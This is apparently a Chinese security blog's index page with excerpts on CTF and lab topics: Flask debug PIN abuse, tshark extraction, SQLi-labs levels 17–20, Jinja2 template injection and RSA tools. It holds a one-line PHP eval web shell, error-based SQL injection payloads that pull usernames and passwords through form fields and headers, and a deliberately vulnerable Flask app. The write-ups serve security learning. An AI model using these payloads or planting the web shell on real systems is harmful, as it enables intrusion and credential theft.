备忘录[置顶]

linux 一些转义 echo “<?php eval(\$_POST[‘tinmin’]);?>” > tinmin.php MYSQL5.7 创建用户 CREATE USER ‘username’@’host’ IDENTIFIED BY ‘password’; 授权 grant all privileges on mq.* to test@localhost identified by ‘PASSWORD’; 删除用户 DROP USER ‘USER’@’host’ python php 易遗忘点 python 判断数据类型取代type isinstance([1,2,3,4],list) #True python 三目运算符 a = 3 if x < 0 else 6 如果x小于零,则a=6,否则还是3 php Read more…

Flask Debug PIN配合文件读取执行python代码

参考文章:https://xz.aliyun.com/t/2553 FLASK DEBUG PIN flask开启DEBUG模式 app.run(debug=True) 通过这个pin码,我们可以在报错页面执行任意python代码 执行命令前提是知道pin码,那么问题就在pin码的生成机制上,同个机器启动多个flask应用,pin码是一样的,直接来看pin码如何生成的 Flask pin生成流程 环境搭建: python 2.7 centos 7 flask 1.0.2 app.py from flask import Flask,request import sys app = Flask(__name__) @app.route(‘/’) def index(): return render_template(‘index.html’) if __name__==’__main__’: app.run(‘0.0.0.0’,8888,debug=True) 运行: python app.py 懒得下pycharm,在windows上开sublimetext跟进,观察DEBUG界面, flask应用一定会运行”/usr/lib64/python2.7/site-packages/flask/app.py” 于是直接看app.py 搜索run函数 跟进werkzeug.serving的run_simple函数 然后继续跟进werkzeug.debug的DebuggedApplication类 在__init__里找到类,跟进_get_pin,跟进get_pin_and_cookie_name,也就是生成PIN码 贴一下脚本 def get_pin_and_cookie_name(app): “””Given an Read more…

tshark 使用小结

文章首发于先知:https://xz.aliyun.com/t/4527 做misc类题,巧妙运用tshark提取数据包数据提取时可以节约大量的时间,最近做到misc类题目,正好学习记录一下 官方文档:https://www.wireshark.org/docs/man-pages/tshark.html 常用操作 -r 提取如wireshark表格中显示的封包摘要信息 -Y 使用filter过滤器 注意:需要加引号否则&&后面语句没用 -T 指出解析时输出的格式 默认text fields (需要增加-e参数) 其他选项 ek|json|jsonraw|pdml|ps|psml|tabs -e 指定一个字段 字段名可以在wireshark表达式里面找,例如usb包的Leftover Capture Data字段 那么就可以用usb capdata提取这个字段 tshark …… >1.txt 将提取结果重定向输出到文本文件里 提取练习: 2018 红帽杯 Not only Wireshark 链接:https://pan.baidu.com/s/1qI1wnVrfdIbpEXvwV0AmAg 提取码:yh5n 过滤http流,发现name参数后面的参数有端倪 利用tshark提取,配合linux的命令 字段名为http.request.uri tshark -r Not\ Only\ Wireshark -Y http -T fields -e http.request.uri 发现有我们需要的url,但是也有不需要的,这时候需要用linux的grep命令进行过滤 Read more…

SQLI-LABS 学习(less-17-30)

less-17 刚开始发现uname被waf,一直在找怎么绕过WAF,但其实是找最佳注入点, 于是找passwd注入,而且可以报错 payload: User Name:admin New Password:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password) from (select id,username,password from users LIMIT 0,1)a),0x7e),1)# less-18 User-Agent注入,同样可以报错,要登录成功才能插入User-Agent payload: User-Agent:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password)from users limit 0,1),0x7e),1) and ‘1’=’1 uname=admin&passwd=1&submit=Submit less-19 Referer注入,payload同上 Referer:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password)from users LIMIT 0,1),0x7e),1) and ‘1’=’1 uname=admin&passwd=1&submit=Submit less-20 cookies注入,不能带Submit参数 payload: Cookie:uname=admin’ and updatexml(1,concat(0x7e,(select concat(id,username,password)from Read more…

Flask/Jinja2 模板注入

0x00 前言 服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章。 flask出现模板注入原因主要还是因为使用了render_template_string函数 0x01 环境搭建 test.py from flask import Flask,render_template,config,render_template_string,request from Config import Config app = Flask(__name__) app.config[‘SECRET_KEY’] = “flag{SSTI_123456}” @app.errorhandler(404) def page_not_found(e): template = ”’ <div class=”center-content error”> <h1>Oops! That page doesn’t exist.</h1> <h3>%s</h3> </div> ”’ %(request.url) return render_template_string(template) if __name__==’__main__’:` app.run(‘0.0.0.0’,9999,debug=True) 0x02 检测注入 http://localhost:8888/{{ 7*7 }} Read more…

RSA学习

参考链接:https://www.freebuf.com/articles/others-articles/166049.html 明文n = pow(c,d,N) 表示c的n次方取模 工具 python库 gmpy ​ gmpy.root(x,y)=a,b a为x 开 y 次方的值,a为整数则b为1,否则b为0 gmpy2 ​ invert(…) ​ invert(x, m) returns y such that x * y == 1 modulo m, or 0 if no such y exists. openssl 查看公钥文件 openssl rsa -pubin -in pubkey.pem -text -modulus 解密 rsautl -decrypt Read more…